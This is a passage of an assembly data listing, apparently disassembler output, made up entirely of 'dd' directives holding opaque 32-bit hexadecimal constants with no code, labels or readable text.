764224EEh, 949C0AD0h, 3EDA6010h, 20F315F4h dd 874D7C90h, 0AC0F26C0h, 9CC74989h, 0A7D000E8h, 52BB7E02h dd 3E485C2Ah, 623B1E7Ch, 6E0C1CA6h, 2B98D839h, 814CFB83h dd 0F1B7B5F8h, 3C78867Eh, 2868F790h, 0EA842E50h, 0AC40C52Dh dd 102C82C4h, 1A28843h, 0C028046Eh, 256FAB77h, 27392448h dd 0F4367E00h, 0B82B215Bh, 76801CC6h, 0B59573B9h, 0FC231C47h dd 7770F2BDh, 0F79C1498h, 0A4D5B709h, 87348266h, 123CC0D2h dd 1BC0164Dh, 7BD402BEh, 9C42E42Ch, 5EBAA0A2h, 0D7DBE4C1h dd 24A481C5h, 2250C85Bh, 0D8F8C098h, 0FBF43CB8h, 0E8F02874h dd 1F9B08C2h, 6FCC4103h, 4CBC3474h, 9F021C7Eh, 0B170EFF6h dd 0B9FB5DC0h, 7BF4CA1Fh, 0DE10F398h, 0F0EB1609h, 30CC0206h dd 0E4802F80h, 1B0FBCA7h, 0C0D45F21h, 0E2B1C6D3h, 0BCE09EEBh dd 3000DCA6h, 90245C8Eh, 18415861h, 0B0108131h, 689024D7h dd 904C9890h, 43BEA0B8h, 0A5F03180h, 8A089C50h, 0EC7F1BC8h dd 4028BB12h, 7636046Ah, 966A6A7h, 5448882Dh, 0E596A8E0h dd 0D8A0508Ch, 44DF4C5Ch, 6B18B00Ch, 0F1C2A258h, 0B8C6AEEEh dd 17A46134h, 44591270h, 93F4540h, 22C1E68h, 0A455EFBAh dd 350265FEh, 22646074h, 1A4A706h, 0AEE76191h, 0FD2824BAh dd 74F80465h, 0C048E811h, 5DDC3E73h, 235A3ABAh, 5299992h dd 81CFCB00h, 603AD6D8h, 186F4B1Ch, 0CD548E0h, 0E210C6B9h dd 0FB0FDE0Ah, 67E0C0ECh, 62C05DA3h, 51BC88CBh, 83BBC60h dd 6390CA62h, 832C40F7h, 0E368CA07h, 9B690F0h, 8375C1F0h dd 174B90B4h, 4283D08h, 81791F44h, 305CD0ECh, 18948EACh dd 8C04E713h, 0A4D19350h, 2070C1B5h, 7DFB7C59h, 7F071C30h dd 9008B0F0h, 0F1F10205h, 0F320215Eh, 502880FCh, 2C90C834h dd 10131D30h, 307F18B9h, 303876D0h, 20DF5848h, 2B086039h dd 0F4191612h, 7C6D4834h, 0DA08C473h, 69BC040Ah, 0A2D0A118h dd 0EB80C2B0h, 90036BC7h, 7919A188h, 843858FFh, 0AA683B31h dd 0C1808C14h, 13DBB00Dh, 181A8399h, 610990C5h, 907B80CCh dd 0A00C6F10h, 384D0506h dd 10B02971h, 78F6F434h, 61F0D2C2h, 88FAF67h, 0FB008D11h dd 3BF2B16Eh, 57E98560h, 671BF356h, 785B081Ch, 0A8020D97h dd 636EE6DBh, 1881BDB0h, 0B030BAFBh, 0A07233BBh, 0C98FC750h dd 95827880h, 0A8B8508Fh, 11C59B19h, 14305828h, 0CEEF2C1Bh dd 1711B14Ch, 0D8388B25h, 92BC86A8h, 518CA110h, 41FC3820h dd 0D0F8700Dh, 64C3E32Ch, 501D7B16h, 5BDFF0Fh, 709395BBh dd 780852F2h, 0D5D3AFC1h, 9C4C24C1h, 58504E2Ch, 18F2EA70h dd 28A7E9D3h, 54B8987Ch, 3487D0A5h, 29CC0ECCh, 4019085Ch dd 29503024h, 392A2237h, 709B3C24h, 0DDEEBB05h, 134D2C28h dd 5E868AB3h, 0FC487D60h, 45701B13h, 9BDFE8h, 0F3734D88h dd 0ED3A8D3Bh, 0D8591DDEh, 0B162FB00h, 0B0F230E0h, 4C1B2CCCh dd 78BB02D8h, 8C9655B2h, 8616F40Bh, 0FC3020D6h, 0C0CC7Dh dd 55DA17FBh, 0D31611DBh, 5F1AF014h, 0B80A28D4h, 88123B10h dd 0F3D5C409h, 35040496h, 8EB7E2CAh, 4D0FDC03h, 0C327F001h dd 0C7FFB55h, 587C7020h, 0ED511852h, 409BFC01h, 5CDA70E0h dd 0BC37404Eh, 0F651B2E0h, 6030F4E2h, 222680B1h, 0BC8294E5h dd 0C5C0E96Ah, 29B287A4h, 97BFE449h, 0CC024B00h, 460131Bh dd 0C0486830h, 22B21898h, 0B22707E8h, 4824B218h, 0E25870A5h dd 0F43C8414h, 0B3A18CB0h, 2CC39020h, 9B4637Ch, 4C80CB3Bh dd 0E7FE58B0h, 0FFC01018h, 0C24BBE08h, 0FA1A9DE8h, 0F2814445h dd 0FDA57AC6h, 905CD889h, 21899089h, 0D185482Eh, 521C700Fh dd 9F24B3DFh, 0BD89388Dh, 91AC8657h, 62D07040h, 65470DCh dd 1A1288C7h, 28C7AD02h, 0DD404362h, 0C707430h, 0BA0F20CAh dd 7FA3FC12h, 89551805h, 790460CEh, 883B9018h, 7E505104h dd 1C9089D0h, 0AC70DB4Bh, 64B02B1Dh, 0A0BCC181h, 9D51F08Ch dd 0D5B2D0A4h, 0A1C080B1h, 58D4E693h, 9C0068B2h, 0B918B446h dd 952485F3h, 1050500Fh, 0BCE21E62h, 1D8E829h, 791880ACh dd 4BEB5C3Fh, 5E2804F0h, 38A472FFh, 308B6596h, 0D04C8074h dd 0ACA066DBh, 49C0815h, 0AD43558h, 6930B3C5h, 40BB19CCh dd 0B1645819h, 0A8FE7238h, 0AFF280B9h, 7DF81F4Ch, 1760CF61h dd 10BDE92h, 0EC07C568h, 0E4200984h, 381268A6h, 0CA9950C8h dd 4FFF3E00h, 0CDDC2A5Ah, 1214A511h, 5D1E0681h, 0BC2C50B7h dd 0F0122835h, 0C053828h, 6144DE15h, 91599C50h, 3217195Ch dd 0A8616E08h, 4C5A36E0h, 1DB378FAh, 7443F3A1h, 0EF487C44h dd 1D00470h, 0BCE2D36Bh, 0E3989C81h, 5CC18414h, 3C8E27FFh dd 32D4CC03h, 28164842h, 4802183Ch, 940D05FBh, 8DA22E18h dd 65FC09A2h, 8A047C1Ch, 85C14CBh, 0DCFC8C83h, 592F2C81h dd 2904C60h, 6F94E7BFh, 0D487381Ah, 0A803DB0Ch, 43C750B7h dd 80247116h, 3B09F84Dh, 6AB860CAh, 7B0F38BBh, 589008E8h dd 0D812E0ACh, 0A046C1B9h, 79606572h, 32E09070h, 55106C8Ch dd 5C9BA060h, 5931DCBAh, 4D2D68C6h, 0B9128087h, 80D8C3F2h dd 290E6838h, 0CC60B0EAh, 637DA25Bh, 0FABCE815h, 0A9BBA83Dh dd 23C09C5Fh, 4D24A559h, 4124ACBCh, 871002A0h, 5445F351h dd 0A0899382h, 26946475h, 70805FDCh, 0CF72409Fh, 355C29C6h dd 70900958h, 0E81694F9h, 9B09B1EAh, 14CEB35h, 0FAD226B0h dd 60C03032h, 0B6147522h, 43F1C883h, 6360B1FAh, 21E3A9DFh dd 0ECFC8124h, 307079D0h, 0DC2924C4h, 74915082h, 7B5767C0h dd 0AC2B547Ah, 64504C86h, 0D8C75E0h, 0A8A8A6FCh, 0D49943CDh dd 18ADA6C0h, 7C51C22Dh, 7894CB7Bh, 17D31B02h, 824D909Eh dd 94C69FA4h, 131F0664h, 50162F92h, 264E3C14h, 69E9A03Ch dd 0E16D286Eh, 0A6F2B4h, 0D97BEBCEh, 0FA10E0A3h, 809008C8h dd 0A9209430h, 0EB24DF1Ah, 13582055h, 9C640937h, 0AC025F8Dh dd 0C0675389h, 9C3F1401h, 289CC305h, 0FF84ADCh, 5DEDE078h dd 1448C3ECh, 0E3BC1DFCh, 0B5496A5h, 0D99C27B0h, 83A81C63h dd 50AEF32Bh, 0BEDFC806h, 14287039h, 0B4893C7Ch, 0BDC0CFE0h dd 5CC9A961h, 6C202F89h, 8634871h, 0A1BCFD28h, 0FC4E4AF3h dd 66267E02h, 30C0B404h, 0FD006C3Ch, 0D9BDDBC0h, 44E5A2h dd 0F4866AC5h, 0CC2F28DEh, 56634F1Ch, 0E139DC80h, 289682Ah dd 4287C6BFh, 189865E0h, 70002923h, 39D4516Fh, 0A5D71C1h dd 0C6BE9F89h, 2B484014h, 7667D4C5h, 0B5672158h, 9C5ADFF1h dd 8491448h, 75A67F0Eh, 0E5140100h, 0A6043FB5h, 0ABAA063Ch dd 2856593Ch, 3DF16118h, 0A4DE67A8h, 5C0F0614h, 0A0521D5Eh dd 53AC4105h, 14601FB4h, 32B3F023h, 0F911FE36h, 0F87FA640h dd 8E2509C0h, 0FD6BE0h, 5F31E70Ch, 35912D1Bh, 36A7051Ch dd 156E3440h, 8930D7h, 9AA1C57Fh, 0CF2C869Dh, 9300DF75h dd 852E0EC9h, 72E9EA43h, 0B56C1D90h, 5666CE8Ah, 4BEF7800h dd 51027D5Dh, 0A9228DDh, 6460DD5Bh, 46017555h, 0B6CB613Ch dd 1EC0D395h, 0E1420021h, 1FFDF060h, 0BF00149Bh, 0D802853h dd 0E0450CC3h, 243304CDh, 0C0D6512Dh, 4198385Fh, 1A5BF600h dd 569B58DAh, 0E5EB0CE4h, 9BC95A1h, 0CE00E1E8h, 98903331h dd 753B57Bh, 0E0F2301h, 0DCAA903Fh, 0D93B70CFh, 0EF228172h dd 0AE77E4D7h, 0AF66F0F7h, 6A1D008Eh, 0D0C06E6Bh, 7F03B2B3h dd 294D1AB4h, 0E83DE013h, 0A98C3C9Bh, 0DDC6AC00h, 30E6B1F5h dd 3788D8E5h, 0EA15D31Ch, 0C6E48240h, 59B0A0h, 2170E2Fh dd 9B1574Dh, 0AA66EB28h, 0CE8EE600h, 4A73446Dh, 2D610E74h dd 0CCA0B863h, 568B3072h, 53262C00h, 0D3D92B96h, 1097CEFh dd 0A7BEF197h, 7E868B6Eh, 47833800h, 27850Fh, 0CB97883Ch dd 0FC3174BAh, 48A1B400h, 0ACA78DB5h, 38207465h, 0E1809D9Bh dd 8E3235E2h, 0E500485Bh, 0DC6FE35Fh, 334DB05h, 61998278h dd 7FF0B3ADh, 350751AAh, 75949FD5h, 80EF7095h, 89B7A9D4h dd 9511B400h, 0C7DDCE65h, 8E15004Ah, 8B13EA8Ch, 0C8001E7Ch dd 357E8404h, 7EB42A1h, 0A5FA0594h, 0AD5DC06Eh, 4D008D91h dd 6BF8C28Ah, 38BFC8h, 0F6BBB22Ch, 7577B1D1h, 0BCD34D00h dd 5E064353h, 463C2645h, 3AA500A8h, 0D3D786D8h, 0DB782202h dd 8565F0F4h, 0BC0350CAh, 0F0B78FA1h, 94B188h, 2C246F6Ah dd 233E7E3h, 9FD1900h, 8A828C28h, 0B15C0098h, 0D11D2274h dd 0C0014D61h, 70D7193Dh, 0FAF48F11h, 0B6E601C4h, 8D73A8DEh dd 0CAFBE0F1h, 796F000h, 0FDF422A6h, 4BD20057h, 0A8C24ECBh dd 0FB008E95h, 0B410164Ch, 3AF91E44h, 0D68005EAh, 12ECBE74h dd 0E100277Dh, 49A6ACDDh, 1FDFEBD4h, 807C04E4h, 14E786CAh dd 1901F2EEh, 0D62C4B23h, 0A5F0FD98h, 0A3E60075h, 27FC0B79h dd 4B0FEB70h, 40F44416h, 80E5ACB4h, 873B5CEAh, 0E7129900h dd 90032BBAh, 0B0A17700h, 5D5204A4h, 1C4F01A7h, 6DE714DDh dd 0E64DE073h, 81AC7D00h, 0ECD522A3h, 42F602D9h, 3D88ADBDh dd 1EDFBC80h, 0C51D9A64h, 0B949A472h, 0C9780141h, 2FE5CF95h dd 62EE820h, 0DC160F54h, 40EA102Dh, 6A3A7807h, 9840FA8Ah dd 11AE3F2h, 8F580C93h, 0F79EE9B2h, 0DA6271D0h, 4E05AC00h dd 0BE5491CCh, 387226h, 72F2EDF3h, 783A9C56h, 868C2F00h dd 1F6AB74Dh, 523D00AEh, 486F540Bh, 0DE00015Ch, 7216FDBDh dd 78FF8Ch, 0AE6ECBA7h, 8D098520h, 49DA5C01h, 9B703305h dd 31BA9280h, 3FD080B0h, 0CA0095FEh, 8B99C0F1h, 73ACBDh dd 43B3073Dh, 0BB74E8C8h, 6129D4F3h, 8367C30h, 573472h dd 69AB05A5h, 7D0AFB11h dd 3A335B00h, 36FF6A1Ah, 167CE46Bh, 1E9AE43h, 8204D021h dd 1898805Bh, 0FB4DEE10h, 5DD401D2h, 0D95A809Fh, 22ACF4B4h dd 43D5903h, 0FAE44C78h, 5B8380D7h, 9D8F41h, 0DD0A94BCh dd 59E2A9CCh, 0FF078198h, 0B08B2D58h, 926D78D0h, 0F6EB1CA2h dd 0CF570FEEh, 0A03070C7h, 20ADAA93h, 350C4400h, 1F4E5253h dd 72360061h, 63A06DC8h, 57F6286h, 0CF22C400h, 3A29BFB8h dd 0F740112h, 337A169Fh, 0B735FCD8h, 5CE5AB0Eh, 9E950003h dd 240B3DBCh, 38CB3F94h, 0E9B0D00h, 1360A2C6h, 0E162E700h dd 167AC932h, 3419009Dh, 63D4E35Ch, 0E200C05Ah, 4D1B03FCh dd 44971Ah, 33F387D9h, 96EBD51Ch, 30F75E13h, 5B21FF00h dd 3D6480h, 9CA7F10Ah, 5D783784h, 3AE21538h, 6F7B80A2h dd 0A9943C4Ah, 0C01128D9h, 0B7780EBEh, 0EE40C50Ah, 0A1287BDFh dd 10FC6603h, 0ABAE24EAh, 1FDE035h, 0CBBA00CCh, 977BBE82h dd 2300AF0Ch, 0A79E87FBh, 3CCA3A84h, 73EFFFh, 0E87DACA1h dd 8AF94549h, 0C3DD3700h, 635DD67Ch, 4BA50079h, 53A21C08h dd 25008247h, 0AF4D6548h, 152E64h, 9654FA80h, 0F2D0F7ECh dd 58DC893Dh, 0B0F800A8h, 4A8F559Fh, 685C009Ch, 0EB298E2Eh dd 8B00159Bh, 1BC5F56Dh, 0CC87C2h, 0CE0BEAE8h, 0F7342912h dd 0C7D24200h, 0E447ED85h, 0ECA700D1h, 0C76539Ah, 0F998ADB1h dd 2AB36E00h, 0D23C0BAEh, 506D013Dh, 7B619148h, 0EEDB70BCh dd 75A2B600h, 6F964298h, 41D43A11h, 21808480h, 0EB4CD93h dd 0B6E91F00h, 27038F51h, 54F300FBh, 8BE30529h, 5AE65F0Dh dd 0E9ED6512h, 0D4B83400h, 726CD97Ch, 17CF0054h, 8D580681h dd 0BC01B1F6h, 37CAB28Ah, 6DD56724h, 0E87FE020h, 0F3B5006Fh dd 8561420h, 0C5B82594h, 4F9C6B00h, 8945AC5Dh, 0DA6002Eh dd 0F905640Ch, 9E1F9959h, 95C133D2h, 73B11DEEh, 3F13EFE8h dd 3E80AB0Eh, 114C39D1h, 58C00F2Dh, 0A5264F09h, 76C2003Bh dd 41921FD6h, 6BF84610h, 0CC7C8F00h, 752D6352h, 0FA0900BCh dd 907A31C1h, 87E5178h, 0FED0A200h, 666023B4h, 0F85BFE35h dd 0E36C3CD2h, 881F1E8Fh, 80C36EAFh, 0FC0E5A3h, 13785F89h dd 4F458500h, 0B7E2F21Eh, 6BDC1DFEh, 963C0DFh, 56C122BAh dd 2BAD0E00h, 17EE3BF6h, 72E2D0h, 0EBD34F36h, 47915DE3h dd 99847F00h, 0D90DAA73h, 85BD0749h, 0E09A974Bh, 0B0392702h dd 0CB51D800h, 1FBA9488h, 0D0F00CDh, 30A9E670h, 0E0E91BFh dd 60F5FEDFh, 2888AB67h, 604900BBh, 226D17F9h, 1900B50Fh dd 80E2B6FEh, 2B08DCh, 0C9338FA0h, 57515DF3h, 0E70011F6h dd 0A91FA267h, 449FF06h, 0D9DFEF14h, 805A85D2h, 0A7435866h dd 0C347E51Dh, 721378F0h, 7A6E6B8h, 7AE12266h, 38DEC058h dd 4800149Bh, 0EDB14F4Ah, 503AF653h, 0EB88Eh, 5B84466h dd 5C1D8022h, 0A98DF500h, 0B965261Ah, 0B2B10009h, 228E5552h dd 1779DC4Dh, 4436F700h, 91CB392h, 0EEEBE09Bh, 722800B2h dd 7C4C6D85h, 0F2008761h, 0DF19D0D2h, 3D314621h, 4B1DB2AFh dd 0C1A1CC93h, 7219A5B9h, 5505988h, 601D9FD8h, 5B16781Eh dd 9831B60Ch, 671712Fh, 6E90D0h, 5DBBD7A0h, 5F543F25h dd 0FD727C00h, 0AD39B7BFh, 20300DEh, 0CB90A6BBh, 5D3C3F6Dh dd 81F50C1Ah, 0CE78EDh, 0A21B4C92h, 0A8279B56h, 5FDF88A9h dd 7296E004h, 0F2690054h, 93BF0CA3h, 0B013B74h, 24B4336Eh dd 31804761h, 996C4D1Ch, 0BB3FF1B3h, 9CD88F39h, 234C83E0h dd 3468E596h, 4CB35293h, 0B546BBB0h, 1D6E10C0h, 0EFF06Ch dd 11DA97A3h, 2CE7A045h, 0A612CC1Eh, 519A218h, 0D40784A8h dd 0DBE81FC3h, 0ACE4A9C3h, 10C5B442h, 1052D122h, 18A0A661h dd 24A0A30Dh, 5484B86Fh, 0A8F13C39h, 0EBF0150Ch, 1EF71710h dd 8433E188h, 25489454h, 5008CA42h, 1D8A0757h, 9D0A30ACh dd 9080C6Eh, 702448A0h, 6CA1A03Eh, 7B7851B5h, 428108B9h dd 18202ACBh, 30BF3D28h, 54843776h, 50A024F1h, 0A8AD482Bh dd 0A40A3954h, 61D965C0h, 6729C1AEh, 6E318603h, 2119948Eh dd 3A081266h, 7738008Fh, 917109DAh, 903276h, 0CC07EE79h dd 0D6C6795Bh, 23DC25D0h, 0F2EC00AEh, 352A3E2Dh, 0AF001C89h dd 0A622F00Eh, 24638B08h, 9E240D7Ch, 562AFECBh, 0DEA215D4h dd 0C703F8EBh, 6A5F0673h, 0AD81F0E7h, 19FC333Eh, 99A75A0Fh dd 30EA20CBh, 4FF9867h, 36242C34h, 512480BCh, 0AB010462h dd 0CB14C703h, 2A60A5F9h, 13B20097h, 9F5E6695h, 6926A873h dd 0AD01D92Dh, 1D828B7Dh, 0D4001C5Fh, 0C29304B5h, 3D01387Fh dd 453B4721h, 9640A850h, 67B051h, 1D8379D9h, 0CB8C9DF4h dd 36DD7F37h, 5BF9C850h, 0E4EA004Ah, 0D8BA31AFh, 1400E5EFh dd 6E89EB8Dh, 637B30ECh, 5CD6D8AEh, 0BD115018h, 205E6A0h dd 55565D06h, 1480D064h, 0CB8D0A5Ch, 6942C114h, 0DC960E34h dd 0F77BE024h, 7CCE454Eh, 5AD60054h, 0B482BB8Ah, 5071359h dd 87800465h, 0D4FAD60h, 0ED4D00C9h, 1AF61F8Fh, 0A10077DFh dd 73CAD9E1h, 0C1AAE8EAh, 0ABE77FB8h, 98B986h, 0B0F0BC9Fh dd 90C1D923h, 15F90FD5h, 0BC0BA2Eh, 90EA9D7Eh, 0CBE3FB06h dd 2880F7AAh, 168EC8Fh, 0AD126707h, 5CCA98C8h, 5E057240h dd 95D03CCFh, 0D880C800h, 1FF6DCh, 84733427h, 16588EDFh dd 0CAAFC00Ah, 86BBC0E7h, 0E6F14E2Dh, 0A4AC3010h, 71778DB0h dd 0BA17C900h, 0C28AB078h, 5E730386h, 289EA1E9h, 38011877h dd 2AE127B8h, 8DD03246h, 677072CEh, 0C3DD2104h, 0C0BF8B96h dd 0A19157E8h, 7CCF1701h, 8CFCDA43h, 40B5309Fh, 0EC8E78B1h dd 8400109Dh, 0C4890CC3h, 3DC061D4h, 88098D6Dh, 0F1803CDEh dd 0A80602F8h, 0BE8E8700h, 0C655BFE6h, 80E2604Ah, 0CCFBA411h dd 0BCFE5600h, 21347991h, 3D43EE1Ch, 5D80F4F5h, 0B54477C8h dd 3A009561h, 664041CAh, 0C4DB9Fh, 6CBC15FFh, 0AB7EB0A6h dd 0A1FC5E00h, 436F663Ch, 0C7B00E7h, 8A5145ADh, 1F02E2BDh dd 57D1DD4h, 0CFFA60AAh, 0F63C0044h, 0A799A5C9h, 0DD005707h dd 30252135h, 0D48D7Dh, 0CEFA9D93h, 0AD713CA8h, 1E12000h dd 43B8C223h, 0C310039h, 0E7B51B94h, 3800C8C1h, 0A6AD709Ah dd 0E0F73347h, 789600EFh, 0CFF8D6BBh, 67018E62h, 5049AC8Ah dd 2AF4244Dh, 0DD47006Ah, 0FB8F9EA7h, 7600B5B6h, 0AADEDBF0h dd 0E07321E9h, 0FFD40196h, 93EE4EC1h, 0E0708097h, 770A3742h dd 30D9567Eh, 55667104h, 6F247085h, 597606B4h, 0B0E20178h dd 7E37CC00h, 0B87F5268h, 0C8CE3012h, 0D50CF430h, 0E09E221Fh dd 0FF83399Fh, 0E308CAh, 944F8398h, 0E863F58Bh, 920389B8h dd 9976BCF8h, 8A40004Dh, 506E81DEh, 0CE0146C3h, 3A179CB5h dd 9450FC5Dh, 61B4A0F3h, 0FDF651DCh, 8BD0F3DAh, 0DE3FC277h dd 735100A4h, 0C81A2BBFh, 44DF0162h, 9EAFCB2Dh, 952270E2h dd 2083BA00h, 3CF254Fh, 68BD073Fh, 0F05CED4Ah, 0D05802ECh dd 76E03750h, 0B50575FCh, 0EFA74267h, 0C0DC1DFAh, 0D9CFB864h dd 510027E7h, 8EE876AEh, 0C32A3B6Dh, 0A54FAB78h, 57B73FE8h dd 0A9A448A8h, 410E7B72h, 40D3C144h, 738170F3h, 0D29C0119h dd 7F693B3Ah, 0F0BF21h, 0D338DC7Bh, 7B53117h, 0EB1C7CB0h dd 40CB55D7h, 183E8CCh, 0C807379Ah, 0CFEC6584h, 81E3D080h dd 0EC935042h, 0C33E79FCh, 90334031h, 144B171h, 35960A22h dd 30C44C30h, 0B7E582B8h, 0A5860401h, 6AB232CDh, 0E185F840h dd 34230615h, 0A8F6EC77h dd 1C09980Ch, 0F35D206Bh, 0A83F6E60h, 3ACDC84h, 773BFD03h dd 3104F79Fh, 53BD4961h, 0C5E52080h, 0A58701A6h, 0A4D9A769h dd 213422FCh, 36AE0032h, 7094A3Ah, 1681CA15h, 0FD1002D0h dd 41279754h, 0C42B2591h, 0A5A04012h, 7978EAA6h, 5E02A9DEh dd 99E877C7h, 9418E908h, 0BC2C2B00h, 0DA6FF9C0h, 3881005Bh dd 74173EFh, 0A0A88CADh, 0B50D6D1h, 1800CC99h, 11AF68C8h dd 582036E4h, 2F008DFAh, 0E61459D5h, 4836447Ah, 81B838B5h dd 64C4ED04h, 0FA60E1Bh, 3620A4FCh, 1E08187h, 0BC8BA900h dd 9A09CC60h, 4920048h, 0A31BB8B7h, 0B200E8A4h, 0E188B071h dd 0B8D2A87Fh, 3E830358h, 4298A52h, 0E0BBCFA0h, 84806A00h dd 2B5A60BEh, 50C2037Bh, 9D07C156h, 49FB4800h, 1D08A80h dd 7DBB011Dh, 3F2673BFh, 4F12FCFAh, 0E7A85500h, 6FA5E2A9h dd 4ADD0040h, 0BE2D49EBh, 0E01695DAh, 0FA00351Dh, 0A5A9E615h dd 28740119h, 0AB6A6FA1h, 485180B1h, 0C80816BFh, 0BAA03CDFh dd 794FF0Ch, 0D1000410h, 8EF358B2h, 0C57C956h, 0DD50EA60h dd 8655E61h, 484030B1h, 0B7BA6E7Bh, 83AE0337h, 7C595739h dd 0C2B9C800h, 71DF605Ch, 0E8A300F6h, 0F095825Eh, 0A474A5B4h dd 0C0080A4h, 264E3D48h, 7F6D6AE7h, 0EC4B00E0h, 0D27FC7BFh dd 7D009D3Eh, 0FBA5A89Ch, 7C8E8Ah, 8FEE4884h, 7635CE85h dd 9EF35018h, 0E4E858h, 311B05F8h, 2C90C738h, 2F070F01h dd 92581E64h, 0B888A3E3h, 414262h, 55CA487Eh, 0BE3AC326h dd 2BB1DD00h, 9EB6EB50h, 711B73E3h, 2488F03Eh, 538CEEh dd 8F39EDDCh, 0B100FBF1h, 0F72561A1h, 7AE0DF6Ah, 58690062h dd 1794518Eh, 84019ED7h, 6B2B0424h, 87F8E0D6h, 0C898007Bh dd 5B7FFC4Dh, 5E3A2307h, 8400FDB7h, 0D6E203BCh, 0A8890Eh dd 0B915FCC4h, 2EA4CE44h, 0D8001379h, 0C198C7B4h, 6EB72499h dd 0A5C04A42h, 4EE1E05Bh, 0BEF6047Fh, 5F134000h, 0E52AF14h dd 1140BFE6h, 760C5B6Ah, 0E8B35615h, 0E1BC00BEh, 228C8F7Ah dd 0BF781FBDh, 4203329h, 63E0005Ch, 2C9A96CFh, 0D200094Ch dd 92D32FABh, 0F10681h, 55C71432h, 2B4CE3DCh, 30865D00h dd 61A7121h, 1DFDE887h, 7C3D1CBh, 131933h, 59010E8Dh, 338203Ch dd 85EBED94h, 0EC28F85Bh, 0A4B600CAh, 0E449F2D9h, 4B001560h dd 8E11544Fh, 1B3204h, 303329CFh, 0C91C5C48h, 9613DC05h dd 81FB2CEFh, 3031D7C5h, 5C003CB3h, 0F12F08AFh, 718CCCh dd 0F7B1C873h, 28A8B8FAh, 0F2942A00h, 8374AB9Dh, 7CAC0393h dd 45CB63A3h, 0E926C188h, 3D0A6500h, 98DF25B9h, 0EF7A00FFh dd 0AF470FA3h, 0CC001E30h, 76649204h, 26E16935h, 1F7A2A4Ah dd 0F175808Bh, 2D92AF88h, 0A05C4200h, 9C54EEE0h, 28EA6036h dd 0C40DD5B5h, 0E13D4400h, 0A3C9EB25h, 0EE020130h, 6A59733Bh dd 2143F8F0h, 270099E8h, 87033CAEh, 74B311h, 0A2AAC369h dd 4B8D3976h, 0FF581926h, 0ED124E00h, 0C7DD4A92h, 0D01F3A68h dd 3C6EBF93h, 9636E500h, 68C65C46h, 33F1009Ch, 1C94590Dh dd 47001069h, 4B8ABF22h, 0FF0A5Bh, 0F229A684h, 5740DDA7h dd 0BE7D2500h, 41A032B5h, 6471001Ah, 56B80C06h, 0D105472Ch dd 0BC659CAAh, 0ED9022C0h, 6BA0009Fh, 0C7072858h, 5F07FEB0h dd 0F9BFBB01h, 0AFE9A01Eh, 14C7C3Ch, 8A0FF30h, 0DCC1868Ah dd 0B800EE96h, 0EDDB8F93h, 0AE9FE59h, 6C061D36h, 3C6900C7h dd 6656CC5Ah, 8CBA4900h, 0A5C470A6h, 0B97A40h, 0D9BBE472h dd 0E6EA7F1h, 8E46B312h, 0DE396E01h, 89F8256Bh, 0F46D003Eh dd 8AFDCD62h, 0D671B14Dh, 0BC0015EEh, 0F53A9219h, 1C33F82Fh dd 0C0916E24h, 22F3B946h, 19E674E0h, 0EC9EB00Bh, 2EE0833Bh dd 4BF5A884h, 3E3DE293h, 0E909B160h, 5B807A4Eh, 9C67687Bh dd 0E841D00h, 0CE810845h, 66780026h, 0AC7B729Bh, 3F00E692h dd 8A6F54E7h, 7C234Ch, 0C3A862D3h, 5891D7C1h, 0B04A3B00h dd 0F14497E2h, 0B81F006Dh, 41B2DBFFh, 70ECDE5h, 6F3FBDh dd 77541A25h, 59FC00B3h, 7B791E6Dh, 0E4009558h, 72C88348h dd 90372DCDh, 53A70052h, 5C158724h, 570026D2h, 0EDD1FBC8h dd 0E4A39B0h, 36C2ABDAh, 967FB2C0h, 513D8068h, 787E8076h dd 2B6D986Ch, 0F98F00B0h, 0A90DE71Ah, 0F60B701Dh, 6874B0Eh dd 0B0F460h, 3ADBD865h, 2E8603E3h, 31B82A1Dh, 92FA9D00h dd 1EC2041h, 99228228h, 0E883BFFEh, 86037A37h, 0EEC6D7E9h dd 0CF30881Eh, 0DE950061h, 3DF916FCh, 640F2EF6h, 60D05B94h dd 0AF80100Eh, 3230008Eh, 379543B3h, 0B10ED2BAh, 0E71F818Ah dd 8780D4BBh, 9A65C5h, 73E67F93h, 0CFABB985h, 919CE050h dd 958D3400h, 0DFB6F079h, 8444004Ch, 0D143515Fh, 3100CBADh dd 8A495E36h, 1D688Fh, 0FD4DD412h, 52FEC3D0h, 53E9801Ch dd 32D76980h, 0EF59035h, 0BF9F05C8h, 7D7B2EA0h, 9600E5E6h dd 1A0EFB43h, 0BF3A944h, 98592411h, 0B3D31F01h, 12EB7053h dd 0B146E700h, 0D061CD29h, 96707DDh, 10402ED6h, 366A3593h dd 266BBF00h, 0C1D04EE0h, 9B7101D2h, 28B8562Bh, 7B10E0BDh dd 5E67BB03h, 0B83D6032h, 1CE1D1Eh, 0CA2D5786h, 2490C83Eh dd 9B00475Ch, 8838FE8Bh, 1D0B106h, 0AE8D5CAFh, 3029ADE3h dd 0E503FDD0h, 2E4E6B48h, 4D289005h, 86A60B66h, 0A200943Fh dd 4E4974CBh, 10545901h, 0B4E4BA8Bh, 7BBD21C8h, 2AE8008Ch dd 4C88DDC6h, 5C00EAB1h, 0B4CC06D5h, 0A02264h, 12187B91h dd 1E8862A5h, 0B5E2A800h, 46C8B187h, 41F266h, 5A0D9186h dd 0BFA143Ah, 0BE993E00h, 6A800648h, 5224005Ch, 674AA725h dd 390F90F3h, 9EFA88D2h, 0C454C9h, 3D346588h, 27A00EBh dd 6BF336EAh, 5A00D620h, 3BA8BA41h, 91E65Dh, 0BD32C0A4h dd 36281430h, 5E0ADD00h, 0AF34AA8Dh, 5280000Bh, 0A981475Ch dd 7A003D6Ah, 0F335285Bh, 1F394683h, 47136D76h, 0EF80FF55h dd 7168F6E2h, 0D97C39E0h, 0A8DB3903h, 97377670h, 9EA3D050h dd 0B9D70B14h, 6A0E0333h, 0A565F380h, 0CE0012DBh, 0DAB0E115h dd 1E8B2A25h, 80DE5BC6h, 0BF8750C4h, 0A0003CC9h, 0A102CFAAh dd 0E4D0A3h, 60B6E7A4h, 5CDB5D22h, 15F7AC00h, 8FEAFE18h dd 30B019Fh, 0F54851CCh, 9D9F4F1h, 7AA7CB00h, 529EDB2Ch dd 2E1300A1h, 124FA241h, 5101FE0Eh, 38F362C8h, 0EEF4C319h dd 0B0762672h, 2A9D8366h, 97A81551h, 6A5FF637h, 36E3B0h dd 239438EDh, 8CFED4AAh, 90272C03h, 80DB8168h, 7F375Ah dd 18767D94h, 4434032Bh, 921B820Fh, 0EEC19D93h, 0C70E17E8h dd 4046DCh, 4FB4FD8Dh, 0E4EDAC73h, 0B0267F00h, 0AC8BA4Ch dd 0A7E51DA3h, 679C4329h, 1FA08951h, 0D300ADF6h, 7D665A18h dd 0CB8824h, 0B9C92640h, 634C0311h, 